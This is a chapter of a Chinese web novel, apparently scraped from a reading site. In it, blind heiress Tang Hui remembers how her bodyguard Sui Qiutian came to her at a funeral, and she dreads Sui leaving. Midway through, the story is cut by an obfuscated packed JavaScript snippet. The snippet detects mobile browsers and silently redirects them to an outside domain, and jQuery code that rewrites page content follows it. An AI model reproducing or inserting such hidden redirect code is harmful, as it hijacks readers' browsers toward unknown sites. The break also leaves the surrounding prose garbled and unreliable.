默认冷灰
24号文字
方正启体

7. 「炎热暴雨」

作者:文笃本书字数:K更新时间:
    隋秋天坚持不与棠悔同桌用餐,也坚持在送棠悔回到房间之后再去换衣。


    房门关闭后。


    棠悔听着隋秋天沉稳离去的脚步声,短暂地记起了十九岁时的隋秋天——


    那年,棠氏集团失去了掌权人,以及第二代继承人中颇为出色的一位决策者。白山山顶,北角道38号,昂贵的七千平住宅中,少了两位女主人。


    而棠悔,则失去了名义上的母亲和外祖母,以及自己完好无损的眼睛。


    葬礼当天,雨声像一颗颗穿透过铁皮的子弹,气势汹汹地砸落下来。


    棠悔坚持要出院,却并未达到允许出院的条件,只能坐在轮椅上,手背贴着留置针,苍白的腕侧皮肤包着隐隐渗血的纱布。


    她眼前遍布黑暗,也知道自己看上去恐怕奄奄一息,却仍旧表现冷静,挺直背脊,低垂着眼,始终保持最完美的姿态。


    车祸后,棠厉棠蓉在世时的身边人,要么就是审时度势,想方设法去与棠林交好,要么就是被棠悔遣散。


    以至于在这场葬礼中。


    所有人都只是隐在黑暗中看她,却没有一个足够大胆,敢走到她身边。


    棠悔并不意外这种结果。


    也当然知道这些人在想些什么,但她绝不可以在这个时候露怯。


    便用拇指摁进腕侧伤口,依靠痛意和血迹,来让自己保持清醒,维持警惕。


    就好像,她的头上时刻吊着一座金光闪闪的王冠,也时刻悬有一把鲜血淋漓的刀。


    隋秋天就是在这个时候出现的。


    她在一众富商名人记者媒体中显得尤其不得体,脚步也异常慌乱。


    像是在跑。


    也像是误闯入这个豺狼虎豹世界的普通观众。


    被安保人员误会成危险分子,要将她赶出去。


    而年轻女孩却拼了命从安保人员的阻拦中挣脱出来,脚步忙乱地躲到棠悔身后。


    明明刚才声势浩大。


    将整个会场闹得天翻地覆,却又在停下之后,压下凌乱呼吸,小心翼翼地喊她,


    “棠小姐。”


    不是本地人。


    咬字有一点点发软的口音。


    但听上去没有威胁,似乎也认识她很久,是奔她而来。


    不过。


    这个人大概是因为过分年轻,不懂得太多礼仪,惹得棠炳相当不满,用极为难听的话语去训斥。


    棠悔本不想多管。


    但听到棠炳训斥的声音,她不悦地皱了皱眉,便让安保人员都退下。


    棠炳似乎是觉得她不知好歹,从鼻子里冷哼出一口气,带着人走开。


    而其他人听到棠林的车到了,便也都一哄而散。


    棠悔挺着下巴,撑着背脊,直到确认所有动静都消散,才低脸,指腹勉强撑住额侧,冷汗滴落到睫毛。


    她呼吸紧促。


    尽力去遏制疼痛,却还是不可避免地颤了颤手指。


    “棠小姐,你怎么了?”身后传来声音。


    棠悔不答话。


    她闭着眼,双手用力抠紧膝盖,让自己保持清醒。


    这时。


    有什么东西似乎被递了过来。


    带着对棠悔来说陌生的皂香味,干净,不浓郁,和它年轻的主人一样,缺乏攻击性、警惕心,以及出现在这里所需要的威慑力。


    “您可以用这个。”年轻的声音传来,像是在努力将每个字都说得标准,反而显得有些刻意,“我来之前刚洗过的。”


    棠悔没有去接对方递过来类似手帕之类的物品,而是再次摁进腕心伤口,保持着最后一点耐心,


    “你怎么还不走?”


    年轻女孩似乎有些错愕,不说话了。


    棠悔阖了阖眼皮,“你走吧。”


    出院时所注射的止痛药似乎失去效用,疼痛愈演愈烈,几近将她清醒的意识吞掉。


    而棠林马上就会到达灵堂。


    不管这个年轻女孩是出自什么原因来找她,棠悔都不想在这个时候与人纠缠。


    她等了一会,都并没有听到对方离开的动静,便蹙了蹙眉。


    刚要开口驱赶——


    被汗水和血迹浸湿的手腕上,却突然被柔软丝帕盖住。


    棠悔还没来得及反应。


    便听见年轻女孩小心开口,“棠小姐,你手上渗了很多血出来。”


    也在她再次试图拒绝时小声提醒她,“刚刚很多人都在看你的手。”


    棠悔垂了垂睫毛。


    冷汗再次低了下来,她手指动了动。


    她能感觉到丝帕轻轻落在手腕上——这并不是她平时惯用的高级材质。


    但触感并不粗糙,也相当透气,想必也是对方在来她身边时精心挑选。


    不过。


    她此刻的确不想被棠林目睹自己的脆弱和不堪,便攥紧丝帕,轻声说了句“谢谢”。


    “不用谢的,棠小姐。”对方关心她,真诚多过讨好,“您冷不冷啊?”


    棠悔被风呛得轻咳一声,额头上溢出更多冷汗。


    而这个年轻女孩听到她咳嗽,一下子着急起来。


    匆忙之下将自己身上的外套脱下来,窸窸窣窣地擦干净,才整整齐齐地披在她膝盖上,语气极为小心,


    “棠小姐,您放心,这是我买得最贵的一件外套了。”


    绕是棠悔再没气力,也笑了。


    这个人像是来自离她很远的地方,带着不太高档的、稚嫩生疏的口音。


    也带着她年轻时没拥有过的赤忱。


    甚至是在来见她之前就足够了解她,知道她厌恶什么,清楚她性格古怪,甚至考虑颇多,为了给她一个好的印象,提前购买认知之中最昂贵、最适合这个场所的着装……


    哪怕这些,都远远够不上棠悔的最低标准。


    “棠小姐,抱歉,我不是故意惹这么多人过来的。”或许是因为她太久不说话,年轻女孩再次开口,声音发闷,“是他们都不让我进来找你。”


    “为什么要来找我?”棠悔终于出声,声音嘶哑。


    “是您的母亲让我来的。”


    她问一句她答一句,像上课回答老师问题的乖学生,“她说我是你的保镖。”


    棠悔有些恍惚。


    棠蓉一向不喜她多疑阴沉的性格,也不喜她在她事业上升期出生。


    平日里两人都住在白山山顶。


    日常交谈也不过两三句,又怎么会特意给她找个保镖?


    或许是她太长时间没有说话,对方又相当笨拙地补了一句,


    “棠小姐,你可以相信我。”


    “相信你?”


    棠悔又笑了。


    灵堂里嘈杂嚷闹的声响疯狂涌入耳膜,生前不可一世的棠厉棠蓉,如今只剩下一具干瘪的尸体,像被挂起来的、风干的画,遭受窃窃私语。


    棠悔陡然咳嗽起来。


    在黑暗中寻到这人声线所在之处,神色恹恹地问,


    “我为什么要相信你?”


    “因为,因为……”


    年轻的、突如其来的保镖小姐与她初次见面,不懂得怎么面对她的多疑和反覆无常。在那天停顿很久,都不知道该如何应对。


    棠悔笑了一声。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520932|170713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>看来这个人是真的不懂。不过也不是什么坏人。


    她耐心耗尽,把肩上带着热意的外套挪开,想要再开口让对方离开。


    而也就是在这个时候,对方却犹犹豫豫地开口了,


    “因为,因为我是你的人。”


    棠悔停下动作,以为自己听错,“你说什么?”


    而眼前黑暗里。


    保镖小姐像是下定某种决心,湿漉漉地,郑重其事地呼出一口气,


    “棠小姐,我是您的人。”


    时隔多年。


    棠悔仍旧对当时记忆犹新,不是因为这句话时听起来有多可靠,有多特别。


    与之相反。


    她觉得突兀,诧异,也觉得这句话实在是傻气过了头。


    只是说这句话的人太过呆板,语气沉闷,以至于听起来,才会有很多很多让人无法去质疑的真心。


    很久以后回想起来。


    棠悔都觉得,十九岁的隋秋天,好像一场青涩的雨。


    什么也不懂,兀自落到她身上。


    因为棠蓉嘱咐她,让她成为她的人,永远保护她,把她的性命放在自己的性命之前,她就真的在遭受质疑时手足无措,只好选择对棠悔说——


    我是你的人。


    后来七年。


    她似乎真的做到了当年那句话。


    即便棠悔最开始对她有所怀疑,一次又一次让她离开,她也总是默不作声跟在她身旁,守护她的王冠,为她遮挡那把悬在头顶的刀,也为能够成为她合格的保镖,做出很多努力。


    记不清是从哪一年开始。


    保镖小姐吐字发软的小城口音消失了,变成了咬字清晰的,像是在念书一样的普通话。


    保镖小姐开始懂得很多上流社会的礼仪,甚至是极为苛刻地遵守,除非紧急情况,不会在没有经过询问之后就擅自闯入她身边。


    不会像在葬礼那天那样,因为错过车担心她没人护着便直接一路从车站跑过来。


    不会在她面前整个腮帮子塞满食物再和她说话,更不会在她面前露出不合时宜的笑脸,不会冒冒失失地给她披自己的外套,不会擅自将自己的手帕盖在她手上……


    也总是容忍她的一切需求,看她脸色苍白就学做给她补气血的汤,哪怕那时候受很多伤,流很多血,是自己。


    时间过得比她想象中更快。


    而她的保镖小姐今年已经二十六岁,身上多了很多沉稳,可靠,却少了很多青涩,莽撞。


    甚至。


    也不再想当她的人。


    想到这里,棠悔掐紧指腹,她对此有过不解,不满。


    也产生很多惶然。


    她想不通隋秋天为何要离开。


    但她想,只要隋秋天愿意留下来,她什么都可以给。


    可隋秋天从不向她袒露自己,与她相处时从来恪守分寸,在她面前甚至没有太多的开心和不开心,也从不开口向她索要任何东西。


    她要给她什么?要做些什么?才能让她继续留在自己身边?


    风刮进来。


    棠悔安静坐在床边,突然想起自己送过去的那些凤梨酥。


    她沉下心绪,摁下自己平日里与隋秋天即时通话的纽扣按钮。


    在隋秋天应答之前。


    便发出询问,“隋秋天,你吃过我给你的凤梨酥了吗?”


    随后。


    她有迟来地意识到,自己的语气听起来稍显迫切。


    或许是因为,她想让保镖小姐尽快食用她送过去的凤梨酥。


    也因为。


    她绝不接受她要离开自己。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)